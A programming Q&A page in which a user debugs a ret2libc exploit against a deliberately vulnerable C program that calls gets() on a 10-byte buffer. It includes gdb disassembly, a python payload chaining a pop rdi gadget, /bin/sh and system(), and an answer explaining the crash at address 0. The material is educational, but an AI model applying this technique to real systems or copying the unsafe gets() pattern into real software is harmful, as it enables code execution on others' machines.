Search code examples
cerror-handlingsegmentation-faultgdbbuffer-overflow

ret2libc segfault at address 0x0000000000000000


I performed ret2libc but ended in segfault in 0x0000000000000000. The vulnerable proagram is

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
void get()
{
  char buf[10];
  gets(buf);
  printf("%s\n",buf);
}
int main()
{
  get();
  printf("Done\n");
  return 1;
}

The disassembly from gdb is

(gdb) disass main
Dump of assembler code for function main:
   0x000055555555516d <+0>:     push   rbp
   0x000055555555516e <+1>:     mov    rbp,rsp
   0x0000555555555171 <+4>:     mov    eax,0x0
   0x0000555555555176 <+9>:     call   0x555555555145 <get>
   0x000055555555517b <+14>:    lea    rdi,[rip+0xe82]        # 0x555555556004
   0x0000555555555182 <+21>:    call   0x555555555030 <puts@plt>
   0x0000555555555187 <+26>:    mov    eax,0x1
   0x000055555555518c <+31>:    pop    rbp
   0x000055555555518d <+32>:    ret    
End of assembler dump.
(gdb) disass get
Dump of assembler code for function get:
   0x0000555555555145 <+0>:     push   rbp
   0x0000555555555146 <+1>:     mov    rbp,rsp
   0x0000555555555149 <+4>:     sub    rsp,0x10
   0x000055555555514d <+8>:     lea    rax,[rbp-0xa]
   0x0000555555555151 <+12>:    mov    rdi,rax
   0x0000555555555154 <+15>:    mov    eax,0x0
   0x0000555555555159 <+20>:    call   0x555555555040 <gets@plt>
   0x000055555555515e <+25>:    lea    rax,[rbp-0xa]
   0x0000555555555162 <+29>:    mov    rdi,rax
   0x0000555555555165 <+32>:    call   0x555555555030 <puts@plt>
   0x000055555555516a <+37>:    nop
   0x000055555555516b <+38>:    leave  
   0x000055555555516c <+39>:    ret    
End of assembler dump.

I used radare2 to find the gadget pop rdi;ret which is located at 0x7ffff7e1d7de. /bin/sh is located at 0x7ffff7f7f1ac and system() is located at 0x7ffff7e3f8a0

(gdb) r < <(python -c 'print("\x41"*10 + "\x42"*8 + "\xde\xd7\xe1\xf7\xff\x7f\x00\x00" + "\xac\xf1\xf7\xf7\xff\x7f\x00\x00" + "\xa0\xf8\xe3\xf7\xff\x7f\x00\x00")')
Starting program: /home/kali/Desktop/c_system/a < <(python -c 'print("\x41"*10 + "\x42"*8 + "\xde\xd7\xe1\xf7\xff\x7f\x00\x00" + "\xac\xf1\xf7\xf7\xff\x7f\x00\x00" + "\xa0\xf8\xe3\xf7\xff\x7f\x00\x00")')

Breakpoint 1, main () at exploit.c:12
12        get();
(gdb) c
Continuing.
AAAAAAAAAABBBBBBBB�����
[Detaching after vfork from child process 2964]

Program received signal SIGSEGV, Segmentation fault.
0x0000000000000000 in ?? ()

The registers are

(gdb) i r
rax            0x0                 0
rbx            0x0                 0
rcx            0x0                 0
rdx            0x0                 0
rsi            0x7fffffffde88      140737488346760
rdi            0x2                 2
rbp            0x4242424242424242  0x4242424242424242
rsp            0x7fffffffe1b8      0x7fffffffe1b8
r8             0x0                 0
r9             0x0                 0
r10            0x8                 8
r11            0x246               582
r12            0x555555555060      93824992235616
r13            0x7fffffffe280      140737488347776
r14            0x0                 0
r15            0x0                 0
rip            0x0                 0x0
eflags         0x10216             [ PF AF IF RF ]
cs             0x33                51
ss             0x2b                43
ds             0x0                 0
es             0x0                 0
fs             0x0                 0
gs             0x0                 0

I use a 64-bit machine.The program was compiled using gcc -ggdb -Wall -fno-stack-protector -o a exploit.c. Also I disabled aslr manually. Why did it end in segfault?


Solution

  • The message

    Program received signal SIGSEGV, Segmentation fault.
    0x0000000000000000 in ?? ()
    

    means that your program has jumped to address 0 (that is, the %pc is 0), which is an invalid address. This is probably due to executing a ret instruction when the value on the top of the stack is 0.

    You also see the message

    [Detaching after vfork from child process 2964]
    

    which likely means the system function is being called, but for whatever reason is not doing what you expect it to do.

    To debug this sort of thing, you need to carefully step through the code one instruction at a time using si commmand (and occasional ni to skip over calls)